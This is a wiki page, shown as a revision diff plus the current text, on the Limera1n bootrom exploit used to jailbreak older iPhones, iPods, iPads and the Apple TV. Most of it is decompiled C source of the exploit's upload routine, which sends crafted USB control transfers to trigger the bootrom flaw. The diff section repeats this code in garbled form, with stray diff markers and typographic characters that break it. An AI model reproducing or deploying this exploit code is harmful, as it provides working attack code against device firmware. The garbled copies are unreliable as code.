Difference between revisions of "Limera1n Exploit"

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m (some more formatting...)
m (starting some indentations...)
Line 4: Line 4:
 
<pre>
 
<pre>
 
signed int __cdecl upload_exploit() 
{
 
signed int __cdecl upload_exploit() 
{

int v0; // eax@1

+

 int v0; // eax@1

signed int v1; // edx@2
+
signed int v1; // edx@2

int v2; // ebx@2
+

int v2; // ebx@2

int v3; // eax@4

+

int v3; // eax@4

char *v4; // eax@5
+
char *v4; // eax@5

unsigned int v5; // ebx@8
+

unsigned int v5; // ebx@8

int v6; // ecx@14
+

int v6; // ecx@14

signed int result; // eax@15
+

signed int result; // eax@15

signed int v8; // ST38_4@18
+

signed int v8; // ST38_4@18

int v9; // eax@28

+

int v9; // eax@28

signed int v10; // [sp+38h] [bp-1030h]@4

+
signed int v10; // [sp+38h] [bp-1030h]@4

signed int v11; // [sp+3Ch] [bp-102Ch]@2

+
signed int v11; // [sp+3Ch] [bp-102Ch]@2

char v12; // [sp+4Ch] [bp-101Ch]@3
+
char v12; // [sp+4Ch] [bp-101Ch]@3

char v13; // [sp+84Ch] [bp-81Ch]@5

+

char v13; // [sp+84Ch] [bp-81Ch]@5

int v14; // [sp+104Ch] [bp-1Ch]@1
+
int v14; // [sp+104Ch] [bp-1Ch]@1
v14 = *MK_FP(__GS__, 20);

+
v14 = *MK_FP(__GS__, 20);

v0 = *(_DWORD *)(device + 16);

+
v0 = *(_DWORD *)(device + 16);

if ( v0 == 8930 )
{

+
if ( v0 == 8930 )
{

v11 = 174080;

+
v11 = 174080;

v1 = -2080198655;

+
v1 = -2080198655;

v2 = -2080129124;
+
v2 = -2080129124;

}
else
{

+

}
else
{

v1 = -2080231423;

+
v1 = -2080231423;

v11 = 141312;

+
v11 = 141312;

v2 = (((v0 == 8920) – 1) & 0xFFFFFFF4) – 2080161884;
+
v2 = (((v0 == 8920) – 1) & 0xFFFFFFF4) – 2080161884;

}

+

}

memset(&v12, 0, 0×800u);

+
memset(&v12, 0, 0×800u);

memcpy(&v12, exploit, 0×230u);
+
memcpy(&v12, exploit, 0×230u);

if ( libpois0n_debug )
{

+

if ( libpois0n_debug )
{

v8 = v1;
+
v8 = v1;

((void (__cdecl *)(int, signed int, _DWORD))__fprintf_chk)(stderr, 1, “Resetting device counters\n”);
+

((void (__cdecl *)(int, signed int, _DWORD))__fprintf_chk)(stderr, 1, “Resetting device counters\n”);

v1 = v8;

+

 v1 = v8;

 
}

 
}

 
v10 = v1;

 
v10 = v1;

Line 88: Line 88:
 

__fprintf_chk(stderr, 1, &aCannotFindS[12], v9);

 

__fprintf_chk(stderr, 1, &aCannotFindS[12], v9);

 
}

 
}

__fprintf_chk(stderr, 1, "Unable to reconnect\n");
result = -1;
}
}
+
__fprintf_chk(stderr, 1, "Unable to reconnect\n");

  +
result = -1;

  +
}

  +
}
 

if ( *MK_FP(__GS__, 20) != v14 )

 

if ( *MK_FP(__GS__, 20) != v14 )

 
__stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);

 
__stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);


Revision as of 18:45, 9 December 2011

Limera1n exploit is the bootrom exploit used to jailbreak the iPhone 3GS, iPod touch 3G, iPod touch 4G, iPad, iPhone 4 GSM, iPhone 4 CDMA, and the Apple TV 2G. It was first used in the Limera1n tool by geohot. It is actively used on all the supported devices to jailbreak current versions of iOS, usually a tethered jailbreak unless there is an untether created.

Source Code

signed int __cdecl upload_exploit() 
{

    int v0; // eax@1

    signed int v1; // edx@2
    
int v2; // ebx@2
    
int v3; // eax@4

    char *v4; // eax@5
    
unsigned int v5; // ebx@8
    
int v6; // ecx@14
    
signed int result; // eax@15
    
signed int v8; // ST38_4@18
    
int v9; // eax@28

    signed int v10; // [sp+38h] [bp-1030h]@4

    signed int v11; // [sp+3Ch] [bp-102Ch]@2

    char v12; // [sp+4Ch] [bp-101Ch]@3
    
char v13; // [sp+84Ch] [bp-81Ch]@5

    int v14; // [sp+104Ch] [bp-1Ch]@1
    v14 = *MK_FP(__GS__, 20);

    v0 = *(_DWORD *)(device + 16);

    if ( v0 == 8930 )
{

        v11 = 174080;

        v1 = -2080198655;

        v2 = -2080129124;
    
}
else
{

        v1 = -2080231423;

        v11 = 141312;

        v2 = (((v0 == 8920) – 1) & 0xFFFFFFF4) – 2080161884;
    
}

    memset(&v12, 0, 0×800u);

    memcpy(&v12, exploit, 0×230u);
    
if ( libpois0n_debug )
{

        v8 = v1;
        
((void (__cdecl *)(int, signed int, _DWORD))__fprintf_chk)(stderr, 1, “Resetting device counters\n”);

        v1 = v8;

}

v10 = v1;

v3 = irecv_reset_counters(client);

if ( v3 )
{

irecv_strerror(v3);

__fprintf_chk(stderr, 1, &aCannotFindS[12]);

result = -1;

}
else
{

memset(&v13, -858993460, 0×800u);

v4 = &v13;

do
{

*(_DWORD *)v4 = 1029;

*((_DWORD *)v4 + 1) = 257;

*((_DWORD *)v4 + 2) = v10;

*((_DWORD *)v4 + 3) = v2;

v4 += 64;

}

while ( (int *)v4 != &v14 );

if ( libpois0n_debug )
((void (__cdecl *)(int, signed int, _DWORD))__fprintf_chk)(stderr, 1, “Sending chunk headers\n”);

v5 = 0;

irecv_control_transfer(client, 33, 1, 0, 0, &v13, 2048);

memset(&v13, -858993460, 0×800u);

do
{

v5 += 2048;

irecv_control_transfer(client, 33, 1, 0, 0, &v13, 2048);

}

while ( v5 < v11 );

if ( libpois0n_debug )

((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Sending exploit payload\n");

irecv_control_transfer(client, 33, 1, 0, 0, &v12, 2048);

if ( libpois0n_debug )

((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Sending fake data\n");

memset(&v13, -1145324613, 0x800u);

irecv_control_transfer(client, 161, 1, 0, 0, &v13, 2048);

irecv_control_transfer(client, 33, 1, 0, 0, &v13, 2048);

if ( libpois0n_debug )

((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Executing exploit\n");

irecv_control_transfer(client, 33, 2, 0, 0, &v13, 0);

irecv_reset(client);

irecv_finish_transfer(client);

if ( libpois0n_debug )
{

((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Exploit sent\n");

if ( libpois0n_debug )

((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Reconnecting to device\n");

}

client = (void *)irecv_reconnect(client, 2u);

if ( client )
{
result = 0;

}
else
{

if ( libpois0n_debug )
{

v9 = irecv_strerror(0);

__fprintf_chk(stderr, 1, &aCannotFindS[12], v9);

}

__fprintf_chk(stderr, 1, "Unable to reconnect\n");

result = -1;

}

}

if ( *MK_FP(__GS__, 20) != v14 )

__stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);

return result;

}